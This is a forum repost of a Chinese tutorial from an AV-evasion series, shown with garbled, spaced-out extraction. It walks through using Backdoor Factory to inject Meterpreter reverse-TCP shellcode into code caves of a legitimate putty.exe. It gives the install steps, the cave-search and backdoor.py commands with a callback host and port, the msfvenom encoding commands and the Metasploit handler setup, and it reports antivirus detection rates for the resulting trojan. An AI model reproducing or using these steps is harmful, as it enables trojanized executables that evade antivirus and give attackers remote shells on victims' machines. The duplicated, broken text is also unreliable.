搜索

[26930] 2020-03-09_远控免杀专题(8)-BackDoor-Factory免杀(VT免杀率1371)

文档创建者：s7ckTeam
浏览次数：34
最后更新：2025-01-19
2020-03-09_远控免杀专题(8)-BackDoor-Factory免杀(VT免杀率1371) 远 控 免 杀 专 题 ( 8 ) - B a c k D o o r - F a c t o r y 免 杀 ( V T 免 杀 率 1 3 / 7 1 ) M s 0 8 0 6 7 安 全 实 验 室   2 0 2 0 - 0 3 - 0 9 以 下 文 章 来 源 于 T i d e 安 全 团 队   ， 作 者 重 剑 无 锋 本 专 题 文 章 导 航 本 专 题 文 章 导 航 1 、 远 控 免 杀 专 题 ( 1 ) - 基 础 篇 ： h t t p s : / / m p . w e i x i n . q q . c o m / s / 3 L Z _ c j 2 g D C 1 b Q A T x q B f w e g 2 、 远 控 免 杀 专 题 ( 2 ) - m s f v e n o m 隐 藏 的 参 数 ： h t t p s : / / m p . w e i x i n . q q . c o m / s / 1 r 0 i a k L p n L r j C r O p 2 g T 1 0 w 3 、 远 控 免 杀 专 题 ( 3 ) - m s f 自 带 免 杀 ( V T 免 杀 率 3 5 / 6 9 ) ： h t t p s : / / m p . w e i x i n . q q . c o m / s / A 0 C Z s l L h C L O K _ H g k H G c p E A 4 、 远 控 免 杀 专 题 ( 4 ) - E v a s i o n 模 块 ( V T 免 杀 率 1 2 / 7 1 ) ： h t t p s : / / m p . w e i x i n . q q . c o m / s / Y n n C M 7 W 2 0 x S c v 5 2 k _ u b x Y Q 5 、 远 控 免 杀 专 题 ( 5 ) - V e i l 免 杀 ( V T 免 杀 率 2 3 / 7 1 ) : h t t p s : / / m p . w e i x i n . q q . c o m / s / - P H V I A Q V y U 8 Q I p H w c p N 4 y w 6 、 远 控 免 杀 专 题 ( 6 ) - V e n o m 免 杀 ( V T 免 杀 率 1 1 / 7 1 ) : h t t p s : / / m p . w e i x i n . q q . c o m / s / C b f x u p S W E P B 8 6 t B Z s m x N C Q 7 、 远 控 免 杀 专 题 ( 7 ) - S h e l l t e r 免 杀 ( V T 免 杀 率 7 / 6 9 ) ： h t t p s : / / m p . w e i x i n . q q . c o m / s / A S n l d n 6 n k 6 8 D 4 b w k f Y m 3 G g 8 、 远 控 免 杀 专 题 ( 8 ) - S h e l l t e r 免 杀 ( V T 免 杀 率 7 / 6 9 ) ： 本 文 文 章 打 包 下 载 及 相 关 软 件 下 载 ： 文 章 打 包 下 载 及 相 关 软 件 下 载 ： 免 杀 能 力 一 览 表 免 杀 能 力 一 览 表 几 点 说 明 ： 几 点 说 明 ： T i d e 安 全 团 队 安 全 团 队   . T i d e 安 全 团 队 以 信 安 技 术 研 究 为 目 标 ， 致 力 于 分 享 高 质 量 原 创 文 章 、 开 源 安 全 工 具 、 交 流 安 全 技 术 ， 研 究 方 向 覆 盖 网 络 攻 防 、 W e b 安 全 、 移 动 终 端 、 安 全 开 发 、 物 联 网 / 工 控 安 全 / A I 安 全 等 多 个 领 域 ， 对 安 全 感 兴 趣 的 小 伙 伴 可 以 关 注 我 们 。 h t t p s : / / g i t h u b . c o m / T i d e S e c / B y p a s s A n t i V i r u s
1 、 上 表 中 标 识 、 上 表 中 标 识   √   说 明 相 应 杀 毒 软 件 未 检 测 出 病 毒 ， 也 就 是 代 表 了 说 明 相 应 杀 毒 软 件 未 检 测 出 病 毒 ， 也 就 是 代 表 了 B y p a s s 。 。 2 、 为 了 更 好 的 对 比 效 果 ， 大 部 分 测 试 、 为 了 更 好 的 对 比 效 果 ， 大 部 分 测 试 p a y l o a d 均 使 用 均 使 用 m s f 的 的 模 块 生 成 。 模 块 生 成 。 3 、 由 于 本 机 测 试 时 只 是 安 装 了 、 由 于 本 机 测 试 时 只 是 安 装 了 3 6 0 全 家 桶 和 火 绒 ， 所 以 默 认 情 况 下 全 家 桶 和 火 绒 ， 所 以 默 认 情 况 下 3 6 0 和 火 绒 杀 毒 情 况 指 的 是 静 态 和 火 绒 杀 毒 情 况 指 的 是 静 态 + 动 态 查 杀 。 动 态 查 杀 。 3 6 0 杀 毒 版 本 杀 毒 版 本 ( 2 0 1 9 . 1 2 . 1 2 ) ， 火 绒 版 本 ， 火 绒 版 本 ( 2 0 1 9 . 1 2 . 1 2 ) ， ， 3 6 0 安 全 卫 士 安 全 卫 士 ( 2 0 1 9 . 1 2 . 1 7 ) 。 。 4 、 其 他 杀 软 的 检 测 指 标 是 在 、 其 他 杀 软 的 检 测 指 标 是 在 （ 简 称 （ 简 称 V T ） 上 在 线 查 杀 ， 所 以 可 能 只 是 代 表 了 静 态 查 杀 能 力 ， 数 据 仅 供 参 考 ， 不 足 以 作 为 免 杀 的 精 确 判 断 指 标 。 ） 上 在 线 查 杀 ， 所 以 可 能 只 是 代 表 了 静 态 查 杀 能 力 ， 数 据 仅 供 参 考 ， 不 足 以 作 为 免 杀 的 精 确 判 断 指 标 。 5 、 完 全 不 必 要 苛 求 找 一 种 能 、 完 全 不 必 要 苛 求 找 一 种 能 b y p a s s 所 有 杀 软 的 所 有 杀 软 的 免 杀 技 术 免 杀 技 术 ， 这 样 的 技 术 肯 定 是 有 的 ， 只 是 没 被 公 开 ， 一 旦 公 开 第 二 天 就 能 被 杀 了 ， 其 实 我 们 只 要 能 ， 这 样 的 技 术 肯 定 是 有 的 ， 只 是 没 被 公 开 ， 一 旦 公 开 第 二 天 就 能 被 杀 了 ， 其 实 我 们 只 要 能 b y p a s s 目 标 主 机 上 的 杀 软 就 足 够 了 。 目 标 主 机 上 的 杀 软 就 足 够 了 。 一 、 一 、 B D F 介 绍 介 绍 B a c k D o o r - f a c t o r y ， 又 称 后 门 工 厂 ( B D F ) ， B D F 是 也 是 一 款 老 牌 的 免 杀 神 器 ， 其 作 者 曾 经 在 2 0 1 5 年 的 b l a c k h a t 大 会 上 介 绍 过 该 工 具 。 但 是 作 者 已 经 于 2 0 1 7 年 停 止 更 新 ， 免 杀 效 果 就 算 现 在 来 看 也 还 算 不 错 的 。 原 理 ： 可 执 行 二 进 制 文 件 中 有 大 量 的 0 0 , 这 些 0 0 是 不 包 含 数 据 的 , 将 这 些 数 据 替 换 成 p a y l o a d , 并 且 在 程 序 执 行 的 时 候 , j m p 到 代 码 段 , 来 触 发 p a y l o a d 二 、 安 装 二 、 安 装 B D F 官 方 地 址 ： 方 法 一 、 如 果 使 用 k a l i 或 p a r r o t ， 系 统 中 已 经 安 装 好 了 B D F 。 如 果 找 不 到 的 话 可 以 使 用 l o c a t e 命 令 查 找 一 下 p a r r o t 里 自 带 的 B D F 版 本 为 3 . 4 . 2 ， 也 是 官 方 发 布 的 最 后 一 个 版 本 。 w i n d o w s / m e t e r p e r t e r / r e v e r s e _ t c p 5 . 0 . 0 . 8 1 6 0 5 . 0 . 3 3 . 1 3 1 2 . 0 . 0 . 2 0 0 1 v i r u s t o t a l . c o m h t t p s : / / g i t h u b . c o m / s e c r e t s q u i r r e l / t h e - b a c k d o o r - f a c t o r y
方 法 二 、 如 果 系 统 里 没 有 安 装 ， 则 需 要 手 动 安 装 u b u n t u 里 可 以 直 接 但 是 B D F 依 赖 的 软 件 也 是 比 较 多 的 ， 安 装 可 能 比 较 容 易 出 错 。 方 法 三 、 使 用 d o c k e r B D F 作 者 也 考 虑 到 安 装 容 易 出 问 题 ， 所 以 提 供 了 d o c k e r 环 境 d o c k e r 里 的 版 本 为 3 . 4 . 0 , 不 算 是 最 新 版 本 ， 不 过 影 响 不 大 。 三 、 直 接 生 成 免 杀 后 门 三 、 直 接 生 成 免 杀 后 门 ( V T 免 杀 率 免 杀 率 1 3 / 7 1 ) b a c k d o o r - f a c t o r y 是 把 s h e l l c o d e 插 入 到 一 个 正 常 的 e x e 文 件 的 代 码 " 缝 隙 " 中 ， 类 似 于 捆 绑 但 不 是 捆 绑 ， 所 以 需 要 提 前 准 备 一 个 被 捆 绑 的 宿 主 e x e 文 件 ， 我 这 是 还 是 用 之 前 的 为 例 。 执 行 a p t - g e t   u p d a t e a p t - g e t   i n s t a l l   b a c k d o o r - f a c t o r y d o c k e r   p u l l   s e c r e t s q u i r r e l / t h e - b a c k d o o r - f a c t o r y d o c k e r   r u n   - i t   s e c r e t s q u i r r e l / t h e - b a c k d o o r - f a c t o r y   b a s h #   . / b a c k d o o r . p y p u t t y . e x e p y t h o n   b a c k d o o r . p y
3 . 1 、 首 先 检 查 宿 主 、 首 先 检 查 宿 主 e x e 能 否 被 支 持 能 否 被 支 持 在 " 捆 绑 " 之 前 ， B D F 需 要 检 查 一 下 宿 主 e x e 能 否 被 支 持 " 插 入 " s h e l l c o d e 。 主 要 使 用 下 面 两 个 参 数 检 查 命 令 : 说 明 可 以 被 支 持 。 3 . 2 、 搜 索 该 文 件 可 用 的 、 搜 索 该 文 件 可 用 的 C o d e   C a v e s ( 代 码 缝 隙 代 码 缝 隙 ) 使 用 命 令 - f ： 指 定 测 试 程 序 - S ： 检 查 该 程 序 是 否 支 持 p y t h o n   b a c k d o o r . p y   - f   / r o o t / p u t t y . e x e   - S p u t t y . e x e . / b a c k d o o r . p y   - f   t e s t . e x e   - c   - l   6 0 0 - c ： c o d e   c a v e ( 代 码 裂 缝 ) - l ： 代 码 裂 缝 大 小
发 现 4 个 可 用 代 码 缝 隙 , 一 般 s h e l l c o d e 大 小 3 0 0 字 节 ， 所 以 选 择 一 个 适 当 的 缝 隙 就 可 以 。 3 . 3 、 获 取 该 文 件 的 可 用 、 获 取 该 文 件 的 可 用 p a y l o a d 如 上 图 所 示 ， 会 有 很 多 的 可 利 用 p a y l o a d 。 : 作 为 p a y l o a d 模 板 ， 长 度 为 1 3 5 ， 仅 实 现 了 控 制 流 程 跳 转 ， 不 做 其 他 操 作 ， 可 用 作 自 定 义 开 发 s h e l l c o d e 的 模 板 . / b a c k d o o r . p y   - f   / r o o t / p u t t y . e x e   - s   - s h o w c a v e _ m i n e r _ i n l i n e
： 对 应 的 m s f ： ： 对 应 的 m s f ： 中 的 i a t ： i a t 为 ( 导 入 地 址 表 ) 的 缩 写 ， 如 果 P E 文 件 的 I A T 不 包 含 A P I   L o a d L i b r a r y A 和 G e t P r o c A d d r e s s ， 直 接 执 行 p a y l o a d   ， 增 加 了 修 复 I A T 的 功 能 ， 避 免 执 行 失 败 : 增 加 了 修 复 I A T 的 功 能 ： 对 应 的 m s f ： 3 . 4 、 生 成 、 生 成 p a y l o a d 推 荐 使 用 的 命 令 ： - c ： c o d e   c a v e ( 代 码 裂 缝 ) - l ： 代 码 裂 缝 大 小 - s ： 选 择 使 用   p a y l o a d   类 型 - H ： 选 择 回 连 服 务 器 地 址 - P ： 回 连 服 务 器 端 口 - J ： 使 用 多 代 码 裂 缝 注 入 选 择 一 个 代 码 段 进 行 插 入 s h e l l c o d e ， 最 后 就 可 以 生 产 新 的 后 门 程 序 。 r e v e r s e _ s h e l l _ t c p _ i n l i n e u s e   e x p l o i t / m u l t i / h a n d l e r s e t   p a y l o a d   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p m e t e r p r e t e r _ r e v e r s e _ h t t p s _ t h r e a d e d u s e   e x p l o i t / m u l t i / h a n d l e r s e t   p a y l o a d   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ h t t p s i a t _ r e v e r s e _ t c p _ i n l i n e I m p o r t   A d d r e s s   T a b l e r e v e r s e _ s h e l l _ t c p _ i n l i n e 会 失 败 i a t _ r e v e r s e _ t c p _ i n l i n e i a t _ r e v e r s e _ t c p _ s t a g e r _ t h r e a d e d u s e r _ s u p p l i e d _ s h e l l c o d e _ t h r e a d e d u s e   e x p l o i t / m u l t i / h a n d l e r s e t   p a y l o a d   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p ` ` 自 定 义 s h e l l c o d e . / b a c k d o o r . p y     - f   ~ / p u t t y . e x e   - s   i a t _ r e v e r s e _ t c p _ s t a g e r _ t h r e a d e d   - H   1 0 . 2 1 1 . 5 5 . 2   - P   3 3 3 3   - J   - o     p a y l o a d . e x e
3 . 5 、 免 杀 测 试 、 免 杀 测 试 运 行 p a y l o a d . e x e ， 发 现 3 6 0 卫 士 和 杀 毒 可 查 杀 ， 火 绒 未 检 测 到 病 毒 。 v i r u s t o t a l . c o m 中 1 3 / 6 9 个 报 毒
四 、 使 用 自 己 定 义 的 四 、 使 用 自 己 定 义 的 s h e l l c o d e ( V T 免 杀 率 免 杀 率 1 4 / 7 1 ) 先 用 m s f v e n o m 生 成 r a w 格 式 的 s h e l l c o d e 使 用 b a c k d o o r 的 模 块 加 载 自 定 义 的 s h e l l c o d e m s f v e n o m   - p   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p   L H O S T = 1 0 . 2 1 1 . 5 5 . 2   L P O R T = 3 3 3 3   - e   x 8 6 / s h i k a t a _ g a _ n a i   - i   5   - f   r a w   - o   s h e l l c o d e . c u s e r _ s u p p l i e d _ s h e l l c o d e _ t h r e a d e d . / b a c k d o o r . p y   - f   / r o o t / p u t t y . e x e   - s   u s e r _ s u p p l i e d _ s h e l l c o d e _ t h r e a d e d   - U   / r o o t / s h e l l c o d e . c     - o   p a y l o a d 2 . e x e
m s f 监 听 可 上 线 但 是 3 6 0 依 然 可 以 查 杀 v i r u s t o t a l . c o m 中 1 4 / 7 1 个 报 毒 m s f   >   u s e   e x p l o i t / m u l t i / h a n d l e r m s f   e x p l o i t ( h a n d l e r )   >   s e t   p a y l o a d   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p   p a y l o a d   = >   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p m s f   e x p l o i t ( h a n d l e r )   >   s e t   l h o s t   1 0 . 2 1 1 . 5 5 . 2 l h o s t   = >   1 0 . 2 1 1 . 5 5 . 2 m s f   e x p l o i t ( h a n d l e r )   >   s e t   l p o r t   3 3 3 3 l p o r t   = >   3 3 3 3 m s f   e x p l o i t ( h a n d l e r )   >   e x p l o i t
五 、 小 结 五 、 小 结 利 用 b a c k d o o r - f a c t o r y 使 用 ， 用 户 可 以 在 不 破 坏 原 有 可 执 行 文 件 的 功 能 的 前 提 下 ， 在 文 件 的 代 码 裂 隙 中 插 入 恶 意 代 码 S h e l l c o d e 。 当 可 执 行 文 件 被 执 行 后 ， 就 可 以 触 发 恶 意 代 码 。 B a c k d o o r   F a c t o r y 不 仅 提 供 常 用 的 脚 本 ， 还 允 许 嵌 入 其 他 工 具 生 成 的 S h e l l c o d e ， 如 M e t a s p l o i t 。 该 工 具 还 有 很 强 大 的 一 些 其 他 功 能 ， 比 如 加 私 钥 证 书 、 C P T 等 等 ， 虽 然 目 前 软 件 已 经 不 再 更 新 ， 但 免 杀 效 果 至 今 依 然 不 错 也 能 管 中 窥 豹 看 到 它 的 强 悍 之 处 。 六 、 参 考 资 料 六 、 参 考 资 料 利 用 B D F 向 E X E 文 件 植 入 后 门 : b a c k d o o r - f a c t o r y 使 用 简 介 ： b a c k d o o r - f a c t o r y 使 用 ： 扫 描 下 方 二 维 码 学 习 更 多 扫 描 下 方 二 维 码 学 习 更 多 W E B 安 全 知 识 ： 安 全 知 识 ： M s 0 8 0 6 7 安 全 实 验 室 安 全 实 验 室 专 注 于 普 及 网 络 安 全 知 识 。 团 队 已 出 版 《 W e b 安 全 攻 防 ： 渗 透 测 试 实 战 指 南 》 ， 《 内 网 安 全 攻 防 ： 《 内 网 安 全 攻 防 ： 渗 透 测 试 实 战 指 南 》 渗 透 测 试 实 战 指 南 》 ， 目 前 在 编 P y t h o n h t t p s : / / 3 g s t u d e n t . g i t h u b . i o / 3 g s t u d e n t . g i t h u b . i o / % E 5 % 8 8 % A 9 % E 7 % 9 4 % A 8 B D F % E 5 % 9 0 % 9 1 E X E % E 6 % 9 6 % 8 7 % E 4 % B B % B 6 % E 6 % A 4 % 8 D % E 5 % 8 5 % A 5 % E 5 % 9 0 % 8 E % E 9 % 9 7 % A 8 / h t t p s : / / w w w . l s t a z l . c o m / b a c k d o o r - f a c t o r y % E 4 % B D % B F % E 7 % 9 4 % A 8 % E 7 % A E % 8 0 % E 4 % B B % 8 B / h t t p s : / / w w w . c n b l o g s . c o m / - q i n g - / p / 1 1 4 2 1 7 0 9 . h t m l
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理